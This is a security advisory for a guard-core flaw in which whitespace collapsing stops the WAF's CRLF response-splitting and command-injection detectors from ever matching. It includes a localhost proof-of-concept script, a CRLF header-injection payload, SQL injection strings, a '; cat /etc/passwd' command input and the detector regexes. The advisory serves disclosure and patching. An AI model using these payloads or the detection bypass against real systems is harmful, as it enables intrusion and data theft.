CVE-2026-129303 is a low-severity (CVSS 3.7) CWE-693 vulnerability in guard-core. A fix is available for guard-core — see the affected versions and patch details below.
Guard Core: Whitespace-collapse preprocessing permanently disables the CRLF-anchored http-splitting and command-injection detectors in the default detection mode
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-129303.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
guard-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In the default "enhanced" detection mode, ContentPreprocessor.preprocess() collapses all whitespace (re.sub(r"\s+", " ", content), guard_core/detection_engine/preprocessor.py:137 on master 08780f1; :384 in the 3.12.0 sdist) before pattern matching. This erases every \r and \n from the scanned value, rendering two built-in detectors structurally unmatchable regardless of input:
- http_split —
guard_core/handlers/suspatterns_handler.py:540:r"[\r\n]\s*(?:HTTP\/[0-9.]+|Location:|Set-Cookie:)"requires a literal\ror\n, which no longer exists after preprocessing; - cmd_injection —
r"\n\s*(?:bash|sh|...)\s+-c\b"— same structural death.
The downstream application receives the raw value with CRLF intact (Starlette percent-decodes %0d%0a in query parameters before the adapter passes request.query_params.items() to guard_core/utils.py:843-865), so a response-splitting-shaped payload passes detection unflagged.
Details
Verified end-to-end against a real uvicorn server running the fastapi-guard adapter over guard-core 3.12.0, default config:
request (?q=) | status |
|---|---|
value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1 (decoded to literal CRLF by the framework) | 200 — missed |
' OR 1=1-- | 400 — blocked (detection otherwise working) |
1 UNION SELECT password FROM users-- | 400 — blocked |
; cat /etc/passwd | 400 — blocked |
The legacy mode (no SecurityConfig detection attributes) skips preprocessing and catches the same decoded CRLF payload — the gap is specific to the enhanced-mode preprocessing pipeline, which every stock SecurityConfig activates. Contrast: every other preprocessing step (URL/HTML/hex/base64 decode) transforms toward what the attacker means; whitespace collapse is the one step that removes signal the detectors were written to require.
PoC
import asyncio
import httpx
import uvicorn
from fastapi import FastAPI
from guard.adapters import SecurityMiddleware # fastapi-guard adapter over guard-core
from guard_core.models import SecurityConfig
from starlette.middleware import Middleware
app = FastAPI(middleware=[Middleware(
SecurityMiddleware, config=SecurityConfig(enable_redis=False))])
@app.get("/search")
async def search(q: str = "") -> dict:
return {"len": len(q)}
async def main() -> None:
server = uvicorn.Server(uvicorn.Config(app, host="127.0.0.1", port=8995, log_level="error"))
task = asyncio.create_task(server.serve())
for _ in range(50):
if server.started:
break
await asyncio.sleep(0.1)
async with httpx.AsyncClient() as client:
r = await client.get("http://127.0.0.1:8995/search",
params={"q": "value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1"})
print("CRLF payload:", r.status_code, "(200 = missed)")
r2 = await client.get("http://127.0.0.1:8995/search", params={"q": "' OR 1=1--"})
print("SQLi control:", r2.status_code, "(400 = detection works)")
server.should_exit = True
await task
asyncio.run(main())
# Output: CRLF payload: 200 (missed) / SQLi control: 400 (blocked)
Impact
A detection bypass in a WAF/defense-in-depth layer: payloads shaped like HTTP response splitting (or newline-anchored command injection) are not flagged in the default mode, while other attack classes are. Not directly exploitable against Starlette/uvicorn-backed apps (they reject CRLF in response headers); the residual risk is for apps behind other stacks or apps that persist and re-emit the value where a CRLF-tolerant parser exists.
Fix: preserve \r\n during whitespace collapse (collapse only [ \t]+), or run the newline-anchored patterns against the pre-collapse content.
Reporter validation request
The fix ships in guard-core 3.13.0, now on PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | guard-core | ≥ 1.0.0&&< 3.13.0 | 3.13.0pip install --upgrade 'guard-core==3.13.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for guard-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update guard-core to 3.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-129303 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2026-129303 in your dependencies?
Find it across PyPI, including transitive dependencies.